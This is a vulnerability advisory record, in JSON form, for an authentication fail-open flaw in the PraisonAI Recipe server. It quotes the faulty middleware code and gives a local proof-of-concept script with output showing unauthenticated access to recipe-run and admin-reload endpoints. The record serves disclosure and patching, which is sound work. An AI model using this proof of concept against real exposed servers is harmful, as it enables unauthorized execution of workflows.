{"id":"CVE-2026-55533","aliases":["GHSA-gfq8-hmph-9gjv","PYSEC-2026-3889"],"url":"https://o3.security/vulnerability/CVE-2026-55533","summary":"PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret","details":"### Summary\n\nThe PraisonAI Recipe HTTP server silently allows unauthenticated requests when `auth` is configured as `api-key` or `jwt` but the corresponding secret is missing.\n\nThis creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided.\n\nThe issue is especially risky because the CLI safety check for non-localhost binding only verifies that `auth != \"none\"`. It does not verify that an actual API key or JWT secret exists.\n\n### Details\n\nThe Recipe server documents the following authentication modes:\n\n- `none`\n- `api-key`\n- `jwt`\n\nRelevant source locations:\n\n- `src/praisonai/praisonai/recipe/serve.py`\n- `src/praisonai/praisonai/cli/features/recipe.py`\n\nIn `create_auth_middleware()`, the API key middleware resolves the expected key as:\n\n```python\nexpected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n\nif not expected_key:\n    # No key configured, allow request\n    return await call_next(request)\n```\n\nThis means `auth: api-key` does not enforce authentication if `api_key` / `PRAISONAI_API_KEY` is missing.\n\nThe JWT middleware has the same fail-open behavior:\n\n```python\nsecret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\nif not secret:\n    return await call_next(request)\n```\n\nThe auth middleware is still attached when `auth` is configured:\n\n```python\nauth_type = config.get(\"auth\")\nif auth_type and auth_type != \"none\":\n    auth_middleware = create_auth_middleware(\n        auth_type,\n        api_key=config.get(\"api_key\"),\n        jwt_secret=config.get(\"jwt_secret\"),\n    )\n    if auth_middleware:\n        middleware.append(Middleware(auth_middleware))\n```\n\nThe CLI path makes this externally reachable in a misconfigured deployment. In `cmd_serve`, the non-localhost safety check only verifies that auth is not `\"none\"`:\n\n```python\nif host != \"127.0.0.1\" and host != \"localhost\" and auth == \"none\":\n    self._print_error(\"Auth required for non-localhost binding. Use --auth api-key or --auth jwt\")\n    return self.EXIT_POLICY_DENIED\n```\n\nTherefore, this command passes the safety check:\n\n```bash\npraisonai recipe serve --host 0.0.0.0 --auth api-key\n```\n\nHowever, if no `--api-key` or `PRAISONAI_API_KEY` is configured, requests are still accepted without authentication.\n\nAffected endpoints include:\n\n- `POST /v1/recipes/run`\n- `POST /v1/recipes/stream`\n- `POST /v1/recipes/validate`\n- optional `POST /admin/reload` when `enable_admin` is true\n\n### PoC\n\nThe following local PoC verifies that `api-key` and `jwt` authentication fail open when the corresponding secret is missing.\n\nRun from the repository root with test dependencies installed:\n\n```bash\npython3 poc_recipe_auth_fail_open.py\n```\n\n`poc_recipe_auth_fail_open.py`:\n\n```python\nimport os\nimport sys\nfrom pathlib import Path\n\nfrom starlette.testclient import TestClient\n\nROOT = Path.cwd()\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai\"))\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai-agents\"))\n\n# Ensure no secrets are present in the environment.\nos.environ.pop(\"PRAISONAI_API_KEY\", None)\nos.environ.pop(\"PRAISONAI_JWT_SECRET\", None)\n\nfrom praisonai.recipe.serve import create_app\n\n# api-key auth selected, but no key configured.\napp_open = create_app({\"auth\": \"api-key\", \"enable_admin\": True})\nclient_open = TestClient(app_open)\n\nprint(\"api-key auth with missing key:\")\nprint(\"GET /openapi.json:\", client_open.get(\"/openapi.json\").status_code)\nprint(\"POST /admin/reload:\", client_open.post(\"/admin/reload\").status_code)\n\n# api-key auth selected with an actual key configured.\napp_closed = create_app({\n    \"auth\": \"api-key\",\n    \"api_key\": \"expected\",\n    \"enable_admin\": True,\n})\nclient_closed = TestClient(app_closed)\n\nprint(\"\\napi-key auth with configured key:\")\nprint(\"missing key:\", client_closed.post(\"/admin/reload\").status_code)\nprint(\"wrong key:\", client_closed.post(\n    \"/admin/reload\",\n    headers={\"X-API-Key\": \"wrong\"},\n).status_code)\nprint(\"correct key:\", client_closed.post(\n    \"/admin/reload\",\n    headers={\"X-API-Key\": \"expected\"},\n).status_code)\n\n# jwt auth selected, but no JWT secret configured.\napp_jwt_open = create_app({\"auth\": \"jwt\"})\nclient_jwt_open = TestClient(app_jwt_open)\n\nprint(\"\\njwt auth with missing secret:\")\nprint(\"GET /openapi.json:\", client_jwt_open.get(\"/openapi.json\").status_code)\n```\n\nObserved output:\n\n```text\napi-key auth with missing key:\nGET /openapi.json: 200\nPOST /admin/reload: 200\n\napi-key auth with configured key:\nmissing key: 401\nwrong key: 401\ncorrect key: 200\n\njwt auth with missing secret:\nGET /openapi.json: 200\n```\n\nThe important result is that `auth=api-key` without a configured key allows requests to protected endpoints, while the same endpoint correctly returns `401` when a key is configured and missing/wrong.\n\n### Impact\n\nIn an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected `api-key` or `jwt` authentication.\n\nThis gives unauthenticated access to recipe execution endpoints such as:\n\n- `POST /v1/recipes/run`\n- `POST /v1/recipes/stream`\n\nIf admin endpoints are enabled, the attacker can also access:\n\n- `POST /admin/reload`\n\nThe impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.","published":"2026-08-25T15:15:34.856Z","modified":"2026-10-09T02:49:32.796289537Z","cvss":{"score":8.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"praisonai","fixedVersion":"4.6.58"}],"fix":{"url":"https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1","label":"MervinPraison/PraisonAI@2f9677a"},"references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55533.json"},{"type":"ADVISORY","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gfq8-hmph-9gjv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55533"},{"type":"FIX","url":"https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-09T02:49:32.796289537Z"}}